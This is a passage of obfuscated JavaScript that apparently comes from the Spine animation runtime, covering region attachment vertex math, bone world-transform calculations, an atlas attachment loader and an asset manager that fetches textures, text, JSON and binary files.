_0x1aed87, _0x34bfe2[0x3] = _0x477561 + _0x283d9f, _0x34bfe2[0x4] = _0xfccf31 - _0x1aed87, _0x34bfe2[0x5] = _0x477561 + _0x2db4a2, _0x34bfe2[0x6] = _0xfccf31 - _0x4806e9, _0x34bfe2[0x7] = _0xf76c00 + _0x2db4a2, 0x5a == _0x1c2e87['degrees'] ? (_0x33091d[0x0] = _0x1c2e87['u2'], _0x33091d[0x1] = _0x1c2e87['v2'], _0x33091d[0x2] = _0x1c2e87['u'], _0x33091d[0x3] = _0x1c2e87['v2'], _0x33091d[0x4] = _0x1c2e87['u'], _0x33091d[0x5] = _0x1c2e87['v'], _0x33091d[0x6] = _0x1c2e87['u2'], _0x33091d[0x7] = _0x1c2e87['v']) : (_0x33091d[0x0] = _0x1c2e87['u'], _0x33091d[0x1] = _0x1c2e87['v2'], _0x33091d[0x2] = _0x1c2e87['u'], _0x33091d[0x3] = _0x1c2e87['v'], _0x33091d[0x4] = _0x1c2e87['u2'], _0x33091d[0x5] = _0x1c2e87['v'], _0x33091d[0x6] = _0x1c2e87['u2'], _0x33091d[0x7] = _0x1c2e87['v2']); } ['computeWorldVertices'](_0x322864, _0xd054d2, _0x285eb5, _0x51f84a) { null != this['sequence'] && this['sequence']['apply'](_0x322864, this); let _0x15c0dd = _0x322864['bone'], _0x3d6d2e = this['offset'], _0x438359 = _0x15c0dd['worldX'], _0x72f71c = _0x15c0dd['worldY'], _0x39a4ea = _0x15c0dd['a'], _0x557e46 = _0x15c0dd['b'], _0x5471a9 = _0x15c0dd['c'], _0x319a97 = _0x15c0dd['d'], _0x5c76a6 = 0x0, _0xaab237 = 0x0; _0x5c76a6 = _0x3d6d2e[0x0], _0xaab237 = _0x3d6d2e[0x1], _0xd054d2[_0x285eb5] = _0x5c76a6 * _0x39a4ea + _0xaab237 * _0x557e46 + _0x438359, _0xd054d2[_0x285eb5 + 0x1] = _0x5c76a6 * _0x5471a9 + _0xaab237 * _0x319a97 + _0x72f71c, _0x285eb5 += _0x51f84a, _0x5c76a6 = _0x3d6d2e[0x2], _0xaab237 = _0x3d6d2e[0x3], _0xd054d2[_0x285eb5] = _0x5c76a6 * _0x39a4ea + _0xaab237 * _0x557e46 + _0x438359, _0xd054d2[_0x285eb5 + 0x1] = _0x5c76a6 * _0x5471a9 + _0xaab237 * _0x319a97 + _0x72f71c, _0x285eb5 += _0x51f84a, _0x5c76a6 = _0x3d6d2e[0x4], _0xaab237 = _0x3d6d2e[0x5], _0xd054d2[_0x285eb5] = _0x5c76a6 * _0x39a4ea + _0xaab237 * _0x557e46 + _0x438359, _0xd054d2[_0x285eb5 + 0x1] = _0x5c76a6 * _0x5471a9 + _0xaab237 * _0x319a97 + _0x72f71c, _0x285eb5 += _0x51f84a, _0x5c76a6 = _0x3d6d2e[0x6], _0xaab237 = _0x3d6d2e[0x7], _0xd054d2[_0x285eb5] = _0x5c76a6 * _0x39a4ea + _0xaab237 * _0x557e46 + _0x438359, _0xd054d2[_0x285eb5 + 0x1] = _0x5c76a6 * _0x5471a9 + _0xaab237 * _0x319a97 + _0x72f71c; } ['copy']() { let _0x3d13f2 = new _0x3c1d0b(this['name'], this['path']); return _0x3d13f2['region'] = this['region'], _0x3d13f2['rendererObject'] = this['rendererObject'], _0x3d13f2['x'] = this['x'], _0x3d13f2['y'] = this['y'], _0x3d13f2['scaleX'] = this['scaleX'], _0x3d13f2['scaleY'] = this['scaleY'], _0x3d13f2['rotation'] = this['rotation'], _0x3d13f2['width'] = this['width'], _0x3d13f2['height'] = this['height'], _0x380bba['arrayCopy'](this['uvs'], 0x0, _0x3d13f2['uvs'], 0x0, 0x8), _0x380bba['arrayCopy'](this['offset'], 0x0, _0x3d13f2['offset'], 0x0, 0x8), _0x3d13f2['color']['setFromColor'](this['color']), _0x3d13f2['sequence'] = null != this['sequence'] ? this['sequence']['copy']() : null, _0x3d13f2; } }, _0x4c00b5 = _0x3c1d0b; _0x4c00b5['X1'] = 0x0, _0x4c00b5['Y1'] = 0x1, _0x4c00b5['C1R'] = 0x2, _0x4c00b5['C1G'] = 0x3, _0x4c00b5['C1B'] = 0x4, _0x4c00b5['C1A'] = 0x5, _0x4c00b5['U1'] = 0x6, _0x4c00b5['V1'] = 0x7, _0x4c00b5['X2'] = 0x8, _0x4c00b5['Y2'] = 0x9, _0x4c00b5['C2R'] = 0xa, _0x4c00b5['C2G'] = 0xb, _0x4c00b5['C2B'] = 0xc, _0x4c00b5['C2A'] = 0xd, _0x4c00b5['U2'] = 0xe, _0x4c00b5['V2'] = 0xf, _0x4c00b5['X3'] = 0x10, _0x4c00b5['Y3'] = 0x11, _0x4c00b5['C3R'] = 0x12, _0x4c00b5['C3G'] = 0x13, _0x4c00b5['C3B'] = 0x14, _0x4c00b5['C3A'] = 0x15, _0x4c00b5['U3'] = 0x16, _0x4c00b5['V3'] = 0x17, _0x4c00b5['X4'] = 0x18, _0x4c00b5['Y4'] = 0x19, _0x4c00b5['C4R'] = 0x1a, _0x4c00b5['C4G'] = 0x1b, _0x4c00b5['C4B'] = 0x1c, _0x4c00b5['C4A'] = 0x1d, _0x4c00b5['U4'] = 0x1e, _0x4c00b5['V4'] = 0x1f; var _0x2e6fe7 = class { constructor(_0x4b1bf7) { this['atlas'] = _0x4b1bf7; } ['loadSequence'](_0x34837c, _0x4022e7, _0x3bbb10) { let _0x1dc46d = _0x3bbb10['regions']; for (let _0xe77995 = 0x0, _0x54a7a3 = _0x1dc46d['length']; _0xe77995 < _0x54a7a3; _0xe77995++) { let _0x2bb2ac = _0x3bbb10['getPath'](_0x4022e7, _0xe77995), _0x54619a = this['atlas']['findRegion'](_0x2bb2ac); if (null == _0x54619a) throw new Error('Region\x20not\x20found\x20in\x20atlas:\x20' + _0x2bb2ac + '\x20(sequence:\x20' + _0x34837c + ')'); _0x1dc46d[_0xe77995] = _0x54619a, _0x1dc46d[_0xe77995]['renderObject'] = _0x1dc46d[_0xe77995]; } } ['newRegionAttachment'](_0x39b18c, _0x2a7fa3, _0x1ce299, _0x321cdb) { let _0x1950c8 = new _0x4c00b5(_0x2a7fa3, _0x1ce299); if (null != _0x321cdb) this['loadSequence'](_0x2a7fa3, _0x1ce299, _0x321cdb); else { let _0x461bca = this['atlas']['findRegion'](_0x1ce299); if (!_0x461bca) throw new Error('Region\x20not\x20found\x20in\x20atlas:\x20' + _0x1ce299 + '\x20(region\x20attachment:\x20' + _0x2a7fa3 + ')'); _0x461bca['renderObject'] = _0x461bca, _0x1950c8['region'] = _0x461bca; } return _0x1950c8; } ['newMeshAttachment'](_0x4f6eac, _0x4b0931, _0x9a6af7, _0x71d3a) { let _0x230145 = new _0x144c75(_0x4b0931, _0x9a6af7); if (null != _0x71d3a) this['loadSequence'](_0x4b0931, _0x9a6af7, _0x71d3a); else { let _0x1923dd = this['atlas']['findRegion'](_0x9a6af7); if (!_0x1923dd) throw new Error('Region\x20not\x20found\x20in\x20atlas:\x20' + _0x9a6af7 + '\x20(mesh\x20attachment:\x20' + _0x4b0931 + ')'); _0x1923dd['renderObject'] = _0x1923dd, _0x230145['region'] = _0x1923dd; } return _0x230145; } ['newBoundingBoxAttachment'](_0x467fff, _0x55e6d4) { return new _0xc3e958(_0x55e6d4); } ['newPathAttachment'](_0x29c086, _0x203b89) { return new _0x7433b6(_0x203b89); } ['newPointAttachment'](_0xc4f502, _0x4871d5) { return new _0xb20849(_0x4871d5); } ['newClippingAttachment'](_0x23b8a8, _0x58582f) { return new _0x1e0073(_0x58582f); } }, _0x20d7c7 = class { constructor(_0x393562, _0x20120c, _0x295514) { if (this['index'] = 0x0, this['parent'] = null, this['length'] = 0x0, this['x'] = 0x0, this['y'] = 0x0, this['rotation'] = 0x0, this['scaleX'] = 0x1, this['scaleY'] = 0x1, this['shearX'] = 0x0, this['shearY'] = 0x0, this['transformMode'] = _0x3c2597['Normal'], this['skinRequired'] = !0x1, this['color'] = new _0x2577a7(), _0x393562 < 0x0) throw new Error('index\x20must\x20be\x20>=\x200.'); if (!_0x20120c) throw new Error('name\x20cannot\x20be\x20null.'); this['index'] = _0x393562, this['name'] = _0x20120c, this['parent'] = _0x295514; } }, _0x3c2597 = (_0x431f6d => (_0x431f6d[_0x431f6d['Normal'] = 0x0] = 'Normal', _0x431f6d[_0x431f6d['OnlyTranslation'] = 0x1] = 'OnlyTranslation', _0x431f6d[_0x431f6d['NoRotationOrReflection'] = 0x2] = 'NoRotationOrReflection', _0x431f6d[_0x431f6d['NoScale'] = 0x3] = 'NoScale', _0x431f6d[_0x431f6d['NoScaleOrReflection'] = 0x4] = 'NoScaleOrReflection', _0x431f6d))(_0x3c2597 || {}), _0x179411 = class { constructor(_0x21c59f, _0x3e7e71, _0x56212a) { if (this['parent'] = null, this['children'] = new Array(), this['x'] = 0x0, this['y'] = 0x0, this['rotation'] = 0x0, this['scaleX'] = 0x0, this['scaleY'] = 0x0, this['shearX'] = 0x0, this['shearY'] = 0x0, this['ax'] = 0x0, this['ay'] = 0x0, this['arotation'] = 0x0, this['ascaleX'] = 0x0, this['ascaleY'] = 0x0, this['ashearX'] = 0x0, this['ashearY'] = 0x0, this['a'] = 0x0, this['b'] = 0x0, this['c'] = 0x0, this['d'] = 0x0, this['worldY'] = 0x0, this['worldX'] = 0x0, this['sorted'] = !0x1, this['active'] = !0x1, !_0x21c59f) throw new Error('data\x20cannot\x20be\x20null.'); if (!_0x3e7e71) throw new Error('skeleton\x20cannot\x20be\x20null.'); this['data'] = _0x21c59f, this['skeleton'] = _0x3e7e71, this['parent'] = _0x56212a, this['setToSetupPose'](); } ['isActive']() { return this['active']; } ['update']() { this['updateWorldTransformWith'](this['ax'], this['ay'], this['arotation'], this['ascaleX'], this['ascaleY'], this['ashearX'], this['ashearY']); } ['updateWorldTransform']() { this['updateWorldTransformWith'](this['x'], this['y'], this['rotation'], this['scaleX'], this['scaleY'], this['shearX'], this['shearY']); } ['updateWorldTransformWith'](_0x4f19d5, _0x3d3f9d, _0x4a0246, _0xa0435a, _0x323113, _0x14bc78, _0x1b97a6) { this['ax'] = _0x4f19d5, this['ay'] = _0x3d3f9d, this['arotation'] = _0x4a0246, this['ascaleX'] = _0xa0435a, this['ascaleY'] = _0x323113, this['ashearX'] = _0x14bc78, this['ashearY'] = _0x1b97a6; let _0x306ec2 = this['parent']; if (!_0x306ec2) { let _0x3daed2 = this['skeleton'], _0x3f0bfa = _0x4a0246 + 0x5a + _0x1b97a6, _0x455f88 = _0x3daed2['scaleX'], _0x2b00c1 = _0x3daed2['scaleY']; return this['a'] = _0xbc125['cosDeg'](_0x4a0246 + _0x14bc78) * _0xa0435a * _0x455f88, this['b'] = _0xbc125['cosDeg'](_0x3f0bfa) * _0x323113 * _0x455f88, this['c'] = _0xbc125['sinDeg'](_0x4a0246 + _0x14bc78) * _0xa0435a * _0x2b00c1, this['d'] = _0xbc125['sinDeg'](_0x3f0bfa) * _0x323113 * _0x2b00c1, this['worldX'] = _0x4f19d5 * _0x455f88 + _0x3daed2['x'], void (this['worldY'] = _0x3d3f9d * _0x2b00c1 + _0x3daed2['y']); } let _0x37ad26 = _0x306ec2['a'], _0x586dd7 = _0x306ec2['b'], _0x1bcc21 = _0x306ec2['c'], _0xed7666 = _0x306ec2['d']; switch (this['worldX'] = _0x37ad26 * _0x4f19d5 + _0x586dd7 * _0x3d3f9d + _0x306ec2['worldX'], this['worldY'] = _0x1bcc21 * _0x4f19d5 + _0xed7666 * _0x3d3f9d + _0x306ec2['worldY'], this['data']['transformMode']) { case 0x0: { let _0x313da5 = _0x4a0246 + 0x5a + _0x1b97a6, _0x133c73 = _0xbc125['cosDeg'](_0x4a0246 + _0x14bc78) * _0xa0435a, _0x484754 = _0xbc125['cosDeg'](_0x313da5) * _0x323113, _0x4cf61d = _0xbc125['sinDeg'](_0x4a0246 + _0x14bc78) * _0xa0435a, _0x21901c = _0xbc125['sinDeg'](_0x313da5) * _0x323113; return this['a'] = _0x37ad26 * _0x133c73 + _0x586dd7 * _0x4cf61d, this['b'] = _0x37ad26 * _0x484754 + _0x586dd7 * _0x21901c, this['c'] = _0x1bcc21 * _0x133c73 + _0xed7666 * _0x4cf61d, void (this['d'] = _0x1bcc21 * _0x484754 + _0xed7666 * _0x21901c); } case 0x1: { let _0x38d094 = _0x4a0246 + 0x5a + _0x1b97a6; this['a'] = _0xbc125['cosDeg'](_0x4a0246 + _0x14bc78) * _0xa0435a, this['b'] = _0xbc125['cosDeg'](_0x38d094) * _0x323113, this['c'] = _0xbc125['sinDeg'](_0x4a0246 + _0x14bc78) * _0xa0435a, this['d'] = _0xbc125['sinDeg'](_0x38d094) * _0x323113; break; } case 0x2: { let _0x25bf28 = _0x37ad26 * _0x37ad26 + _0x1bcc21 * _0x1bcc21, _0x4188f5 = 0x0; _0x25bf28 > 0.0001 ? (_0x25bf28 = Math['abs'](_0x37ad26 * _0xed7666 - _0x586dd7 * _0x1bcc21) / _0x25bf28, _0x37ad26 /= this['skeleton']['scaleX'], _0x1bcc21 /= this['skeleton']['scaleY'], _0x586dd7 = _0x1bcc21 * _0x25bf28, _0xed7666 = _0x37ad26 * _0x25bf28, _0x4188f5 = Math['atan2'](_0x1bcc21, _0x37ad26) * _0xbc125['radDeg']) : (_0x37ad26 = 0x0, _0x1bcc21 = 0x0, _0x4188f5 = 0x5a - Math['atan2'](_0xed7666, _0x586dd7) * _0xbc125['radDeg']); let _0x114984 = _0x4a0246 + _0x14bc78 - _0x4188f5, _0x3a83f0 = _0x4a0246 + _0x1b97a6 - _0x4188f5 + 0x5a, _0x34a4c4 = _0xbc125['cosDeg'](_0x114984) * _0xa0435a, _0x54c206 = _0xbc125['cosDeg'](_0x3a83f0) * _0x323113, _0x37b579 = _0xbc125['sinDeg'](_0x114984) * _0xa0435a, _0x33a797 = _0xbc125['sinDeg'](_0x3a83f0) * _0x323113; this['a'] = _0x37ad26 * _0x34a4c4 - _0x586dd7 * _0x37b579, this['b'] = _0x37ad26 * _0x54c206 - _0x586dd7 * _0x33a797, this['c'] = _0x1bcc21 * _0x34a4c4 + _0xed7666 * _0x37b579, this['d'] = _0x1bcc21 * _0x54c206 + _0xed7666 * _0x33a797; break; } case 0x3: case 0x4: { let _0x130a7a = _0xbc125['cosDeg'](_0x4a0246), _0x3ce3a7 = _0xbc125['sinDeg'](_0x4a0246), _0x334ccb = (_0x37ad26 * _0x130a7a + _0x586dd7 * _0x3ce3a7) / this['skeleton']['scaleX'], _0x144deb = (_0x1bcc21 * _0x130a7a + _0xed7666 * _0x3ce3a7) / this['skeleton']['scaleY'], _0x11c921 = Math['sqrt'](_0x334ccb * _0x334ccb + _0x144deb * _0x144deb); _0x11c921 > 0.00001 && (_0x11c921 = 0x1 / _0x11c921), _0x334ccb *= _0x11c921, _0x144deb *= _0x11c921, _0x11c921 = Math['sqrt'](_0x334ccb * _0x334ccb + _0x144deb * _0x144deb), 0x3 == this['data']['transformMode'] && _0x37ad26 * _0xed7666 - _0x586dd7 * _0x1bcc21 < 0x0 != (this['skeleton']['scaleX'] < 0x0 != this['skeleton']['scaleY'] < 0x0) && (_0x11c921 = -_0x11c921); let _0x4e8c4e = Math['PI'] / 0x2 + Math['atan2'](_0x144deb, _0x334ccb), _0x1ccdc6 = Math['cos'](_0x4e8c4e) * _0x11c921, _0x5dd34c = Math['sin'](_0x4e8c4e) * _0x11c921, _0x1a6c47 = _0xbc125['cosDeg'](_0x14bc78) * _0xa0435a, _0x5b8098 = _0xbc125['cosDeg'](0x5a + _0x1b97a6) * _0x323113, _0x2fc4a3 = _0xbc125['sinDeg'](_0x14bc78) * _0xa0435a, _0xfb4b57 = _0xbc125['sinDeg'](0x5a + _0x1b97a6) * _0x323113; this['a'] = _0x334ccb * _0x1a6c47 + _0x1ccdc6 * _0x2fc4a3, this['b'] = _0x334ccb * _0x5b8098 + _0x1ccdc6 * _0xfb4b57, this['c'] = _0x144deb * _0x1a6c47 + _0x5dd34c * _0x2fc4a3, this['d'] = _0x144deb * _0x5b8098 + _0x5dd34c * _0xfb4b57; break; } }this['a'] *= this['skeleton']['scaleX'], this['b'] *= this['skeleton']['scaleX'], this['c'] *= this['skeleton']['scaleY'], this['d'] *= this['skeleton']['scaleY']; } ['setToSetupPose']() { let _0x38bfc8 = this['data']; this['x'] = _0x38bfc8['x'], this['y'] = _0x38bfc8['y'], this['rotation'] = _0x38bfc8['rotation'], this['scaleX'] = _0x38bfc8['scaleX'], this['scaleY'] = _0x38bfc8['scaleY'], this['shearX'] = _0x38bfc8['shearX'], this['shearY'] = _0x38bfc8['shearY']; } ['getWorldRotationX']() { return Math['atan2'](this['c'], this['a']) * _0xbc125['radDeg']; } ['getWorldRotationY']() { return Math['atan2'](this['d'], this['b']) * _0xbc125['radDeg']; } ['getWorldScaleX']() { return Math['sqrt'](this['a'] * this['a'] + this['c'] * this['c']); } ['getWorldScaleY']() { return Math['sqrt'](this['b'] * this['b'] + this['d'] * this['d']); } ['updateAppliedTransform']() { let _0x156b4c = this['parent']; if (!_0x156b4c) return this['ax'] = this['worldX'] - this['skeleton']['x'], this['ay'] = this['worldY'] - this['skeleton']['y'], this['arotation'] = Math['atan2'](this['c'], this['a']) * _0xbc125['radDeg'], this['ascaleX'] = Math['sqrt'](this['a'] * this['a'] + this['c'] * this['c']), this['ascaleY'] = Math['sqrt'](this['b'] * this['b'] + this['d'] * this['d']), this['ashearX'] = 0x0, void (this['ashearY'] = Math['atan2'](this['a'] * this['b'] + this['c'] * this['d'], this['a'] * this['d'] - this['b'] * this['c']) * _0xbc125['radDeg']); let _0x348970 = _0x156b4c['a'], _0x24b0c4 = _0x156b4c['b'], _0x4b1a1c = _0x156b4c['c'], _0x499de2 = _0x156b4c['d'], _0x17f077 = 0x1 / (_0x348970 * _0x499de2 - _0x24b0c4 * _0x4b1a1c), _0x339d44 = this['worldX'] - _0x156b4c['worldX'], _0x51e374 = this['worldY'] - _0x156b4c['worldY']; this['ax'] = _0x339d44 * _0x499de2 * _0x17f077 - _0x51e374 * _0x24b0c4 * _0x17f077, this['ay'] = _0x51e374 * _0x348970 * _0x17f077 - _0x339d44 * _0x4b1a1c * _0x17f077; let _0x41328f = _0x17f077 * _0x499de2, _0x298268 = _0x17f077 * _0x348970, _0x4680ce = _0x17f077 * _0x24b0c4, _0x17af80 = _0x17f077 * _0x4b1a1c, _0x58bdf2 = _0x41328f * this['a'] - _0x4680ce * this['c'], _0x3245e1 = _0x41328f * this['b'] - _0x4680ce * this['d'], _0x3addb2 = _0x298268 * this['c'] - _0x17af80 * this['a'], _0x117378 = _0x298268 * this['d'] - _0x17af80 * this['b']; if (this['ashearX'] = 0x0, this['ascaleX'] = Math['sqrt'](_0x58bdf2 * _0x58bdf2 + _0x3addb2 * _0x3addb2), this['ascaleX'] > 0.0001) { let _0x532edb = _0x58bdf2 * _0x117378 - _0x3245e1 * _0x3addb2; this['ascaleY'] = _0x532edb / this['ascaleX'], this['ashearY'] = Math['atan2'](_0x58bdf2 * _0x3245e1 + _0x3addb2 * _0x117378, _0x532edb) * _0xbc125['radDeg'], this['arotation'] = Math['atan2'](_0x3addb2, _0x58bdf2) * _0xbc125['radDeg']; } else this['ascaleX'] = 0x0, this['ascaleY'] = Math['sqrt'](_0x3245e1 * _0x3245e1 + _0x117378 * _0x117378), this['ashearY'] = 0x0, this['arotation'] = 0x5a - Math['atan2'](_0x117378, _0x3245e1) * _0xbc125['radDeg']; } ['worldToLocal'](_0x45b197) { let _0x57ffa3 = 0x1 / (this['a'] * this['d'] - this['b'] * this['c']), _0x30a104 = _0x45b197['x'] - this['worldX'], _0xf20d48 = _0x45b197['y'] - this['worldY']; return _0x45b197['x'] = _0x30a104 * this['d'] * _0x57ffa3 - _0xf20d48 * this['b'] * _0x57ffa3, _0x45b197['y'] = _0xf20d48 * this['a'] * _0x57ffa3 - _0x30a104 * this['c'] * _0x57ffa3, _0x45b197; } ['localToWorld'](_0x4b9373) { let _0x1a57dc = _0x4b9373['x'], _0xa4f403 = _0x4b9373['y']; return _0x4b9373['x'] = _0x1a57dc * this['a'] + _0xa4f403 * this['b'] + this['worldX'], _0x4b9373['y'] = _0x1a57dc * this['c'] + _0xa4f403 * this['d'] + this['worldY'], _0x4b9373; } ['worldToLocalRotation'](_0x395928) { let _0x5f25d6 = _0xbc125['sinDeg'](_0x395928), _0x3b81c2 = _0xbc125['cosDeg'](_0x395928); return Math['atan2'](this['a'] * _0x5f25d6 - this['c'] * _0x3b81c2, this['d'] * _0x3b81c2 - this['b'] * _0x5f25d6) * _0xbc125['radDeg'] + this['rotation'] - this['shearX']; } ['localToWorldRotation'](_0x8cf612) { _0x8cf612 -= this['rotation'] - this['shearX']; let _0x408590 = _0xbc125['sinDeg'](_0x8cf612), _0x3f7091 = _0xbc125['cosDeg'](_0x8cf612); return Math['atan2'](_0x3f7091 * this['c'] + _0x408590 * this['d'], _0x3f7091 * this['a'] + _0x408590 * this['b']) * _0xbc125['radDeg']; } ['rotateWorld'](_0x33984d) { let _0x16eedc = this['a'], _0x51fca2 = this['b'], _0x395be = this['c'], _0x2f3b8a = this['d'], _0x15a930 = _0xbc125['cosDeg'](_0x33984d), _0x19bb13 = _0xbc125['sinDeg'](_0x33984d); this['a'] = _0x15a930 * _0x16eedc - _0x19bb13 * _0x395be, this['b'] = _0x15a930 * _0x51fca2 - _0x19bb13 * _0x2f3b8a, this['c'] = _0x19bb13 * _0x16eedc + _0x15a930 * _0x395be, this['d'] = _0x19bb13 * _0x51fca2 + _0x15a930 * _0x2f3b8a; } }, _0x3a187e = class { constructor(_0x37f98b, _0x212fec, _0x30bfc1) { this['name'] = _0x37f98b, this['order'] = _0x212fec, this['skinRequired'] = _0x30bfc1; } }, _0x16f5e1 = class { constructor(_0x5c4664, _0x2b9859 = '', _0x43c140 = new _0x143ce5()) { this['pathPrefix'] = '', this['assets'] = {}, this['errors'] = {}, this['toLoad'] = 0x0, this['loaded'] = 0x0, this['textureLoader'] = _0x5c4664, this['pathPrefix'] = _0x2b9859, this['downloader'] = _0x43c140; } ['start'](_0x3cb7e1) { return this['toLoad']++, this['pathPrefix'] + _0x3cb7e1; } ['success'](_0x5ca40a, _0x183742, _0x273f43) { this['toLoad']--, this['loaded']++, this['assets'][_0x183742] = _0x273f43, _0x5ca40a && _0x5ca40a(_0x183742, _0x273f43); } ['error'](_0x3c2dc7, _0x40c6cd, _0x3690e8) { this['toLoad']--, this['loaded']++, this['errors'][_0x40c6cd] = _0x3690e8, _0x3c2dc7 && _0x3c2dc7(_0x40c6cd, _0x3690e8); } ['loadAll']() { return new Promise((_0x238c6f, _0x1c9504) => { let _0x4d6e28 = () => { this['isLoadingComplete']() ? this['hasErrors']() ? _0x1c9504(this['errors']) : _0x238c6f(this) : requestAnimationFrame(_0x4d6e28); }; requestAnimationFrame(_0x4d6e28); }); } ['setRawDataURI'](_0xc91904, _0x49e721) { this['downloader']['rawDataUris'][this['pathPrefix'] + _0xc91904] = _0x49e721; } ['loadBinary'](_0x4d72ac, _0x3501aa = () => { }, _0x734c3c = () => { }) { _0x4d72ac = this['start'](_0x4d72ac), this['downloader']['downloadBinary'](_0x4d72ac, _0x1fbf5d => { this['success'](_0x3501aa, _0x4d72ac, _0x1fbf5d); }, (_0x15e626, _0x29727f) => { this['error'](_0x734c3c, _0x4d72ac, 'Couldn\x27t\x20load\x20binary\x20' + _0x4d72ac + ':\x20status\x20' + _0x15e626 + ',\x20' + _0x29727f); }); } ['loadText'](_0x444938, _0x3ab2fb = () => { }, _0x492a7c = () => { }) { _0x444938 = this['start'](_0x444938), this['downloader']['downloadText'](_0x444938, _0x1ea242 => { this['success'](_0x3ab2fb, _0x444938, _0x1ea242); }, (_0x368495, _0x32b3be) => { this['error'](_0x492a7c, _0x444938, 'Couldn\x27t\x20load\x20text\x20' + _0x444938 + ':\x20status\x20' + _0x368495 + ',\x20' + _0x32b3be); }); } ['loadJson'](_0x5e6ac5, _0x4088c7 = () => { }, _0x56a5e7 = () => { }) { _0x5e6ac5 = this['start'](_0x5e6ac5), this['downloader']['downloadJson'](_0x5e6ac5, _0x3b31e0 => { this['success'](_0x4088c7, _0x5e6ac5, _0x3b31e0); }, (_0x430f06, _0x19b98d) => { this['error'](_0x56a5e7, _0x5e6ac5, 'Couldn\x27t\x20load\x20JSON\x20' + _0x5e6ac5 + ':\x20status\x20' + _0x430f06 + ',\x20' + _0x19b98d); }); } ['loadTexture'](_0x2df4c7, _0x63ef63 = () => { }, _0x32f285 = () => { }) { if (_0x2df4c7 = this['start'](_0x2df4c7), !!('undefined' == typeof window || 'undefined' == typeof navigator || !window['document'])) fetch(_0x2df4c7, { 'mode': 'cors' })['then'](_0x46245d => _0x46245d['ok'] ? _0x46245d['blob']() : (this['error'](_0x32f285, _0x2df4c7, 'Couldn\x27t\x20load\x20image:\x20' + _0x2df4c7), null))['then'](_0x2d7484 => _0x2d7484 ? createImageBitmap(_0x2d7484, { 'premultiplyAlpha': 'none', 'colorSpaceConversion': 'none' }) : null)['then'](_0x39a6b9 => { _0x39a6b9 && this['success'](_0x63ef63, _0x2df4c7, this['textureLoader'](_0x39a6b9)); }); else { let _0x115c8c = new Image(); _0x115c8c['crossOrigin'] = 'anonymous', _0x115c8c['onload'] = () => { this['success'](_0x63ef63, _0x2df4c7, this['textureLoader'](_0x115c8c)); }, _0x115c8c['onerror'] = () => { this['error'](_0x32f285, _0x2df4c7, 'Couldn\x27t\x20load\x20image:\x20' + _0x2df4c7); }, this['downloader']['rawDataUris'][_0x2df4c7] && (_0x2df4c7 = this['downloader']['rawDataUris'][_0x2df4c7]), _0x115c8c['src'] = _0x2df4c7; } } ['loadTextureAtlas'](_0x32fecd, _0xe89406 = () => { }, _0x181055 = () => { }, _0x15c9d3) { let _0x3a1ad5 = _0x32fecd['lastIndexOf']('/'), _0x3a7bc7 = _0x3a1ad5 >= 0x0 ? _0x32fecd['substring'](0x0, _0x3a1ad5 + 0x1) : ''; _0x32fecd = this['start'](_0x32fecd), this['downloader']['downloadText'](_0x32fecd, _0x2eaa39 => { try { let _0x305786 = new _0x340fed(_0x2eaa39), _0x45ae52 = _0x305786['pages']['length'], _0xdb30dd = !0x1; for (let _0x85e302 of _0x305786['pages']) this['loadTexture'](_0x15c9d3 ? _0x15c9d3[_0x85e302['name']] : _0x3a7bc7 + _0x85e302['name'], (_0x1fbdde, _0x20354e) => { _0xdb30dd || (_0x85e302['setTexture'](_0x20354e), 0x0 == --_0x45ae52 && this['success'](_0xe89406, _0x32fecd, _0x305786)); }, (_0x2912b5, _0x4bd04c) => { _0xdb30dd || this['error'](_0x181055, _0x32fecd, 'Couldn\x27t\x20load\x20texture\x20atlas\x20' + _0x32fecd + '\x20page\x20image:\x20' + _0x2912b5), _0xdb30dd = !0x0; }); } catch (_0x3c2722) { this['error'](_0x181055, _0x32fecd, 'Couldn\x27t\x20parse\x20texture\x20atlas\x20' + _0x32fecd + ':\x20' + _0x3c2722['message']); } }, (_0x3807ce, _0x14344c) => { this['error'](_0x181055, _0x32fecd, 'Couldn\x27t\x20load\x20texture\x20atlas\x20' + _0x32fecd + ':\x20status\x20' + _0x3807ce + ',\x20' + _0x14344c); }); } ['get'](_0x2055ba) { return this['assets'][this['pathPrefix'] + _0x2055ba]; } ['require'](_0x27ee50) { _0x27ee50 = this['pathPrefix'] + _0x27ee50; let _0x11c71a = this['assets'][_0x27ee50]; if (_0x11c71a) return _0x11c71a; let _0x33fb22 = this['errors'][_0x27ee50]; throw Error('Asset\x20not\x20found:\x20' + _0x27ee50 + (_0x33fb22 ? '\x0a' + _0x33fb22 : '')); } ['remove'](_0x4d6af2) { _0x4d6af2 = this['pathPrefix'] + _0x4d6af2; let _0x31a15c = this['assets'][_0x4d6af2]; return _0x31a15c['dispose'] && _0x31a15c['dispose'](), delete this['assets'][_0x4d6af2], _0x31a15c; } ['removeAll']() { for (let _0x20f073 in this['assets']) { let _0x35777f = this['assets'][_0x20f073]; _0x35777f['dispose'] && _0x35777f['dispose'](); } this['assets'] = {}; } ['isLoadingComplete']() { return 0x0 == this['toLoad']; } ['getToLoad']() { return this['toLoad']; } ['getLoaded']() { return this['loaded']; } ['dispose']() { this['removeAll'](); } ['hasErrors']() { return Object['keys'](this['errors'])['length'] > 0x0; } ['getErrors']() { return this['errors']; } }, _0x143ce5 = class { constructor() { this['callbacks'] = {}, this['rawDataUris'] = {}; } ['dataUriToString'](_0x223e7d) { if (!_0x223e7d['startsWith']('data:')) throw new Error('Not\x20a\x20data\x20URI.'); let _0x4bfef9 = _0x223e7d['indexOf']('base64,'); return -0x1 != _0x4bfef9 ? (_0x4bfef9 += 'base64,'['length'], atob(_0x223e7d['substr'](_0x4bfef9))) : _0x223e7d['substr'](_0x223e7d['indexOf'](',') + 0x1); } ['base64ToUint8Array'](_0x3aa5f8) { for (var _0x3d27a8 = window['atob'](_0x3aa5f8), _0xb9a0f9 = _0x3d27a8['length'], _0x5cd83d = new Uint8Array(_0xb9a0f9), _0xaf6aaa = 0x0; _0xaf6aaa < _0xb9a0f9; _0xaf6aaa++)_0x5cd83d[_0xaf6aaa] = _0x3d27a8['charCodeAt'](_0xaf6aaa); return _0x5cd83d; } ['dataUriToUint8Array'](_0x463356) { if (!_0x463356['startsWith']('data:')) throw new Error('Not\x20a\x20data\x20URI.'); let _0x58351d = _0x463356['indexOf']('base64,'); if (-0x1 == _0x58351d) throw new Error('Not\x20a\x20binary\x20data\x20URI.'); return _0x58351d += 'base64,'['length'], this['base64ToUint8Array'](_0x463356['substr'](_0x58351d)); } ['downloadText'](_0x446d55, _0x52c1fc, _0x70fa88) { if (this['start'](_0x446d55, _0x52c1fc, _0x70fa88)) return; if (this['rawDataUris'][_0x446d55]) { try { let 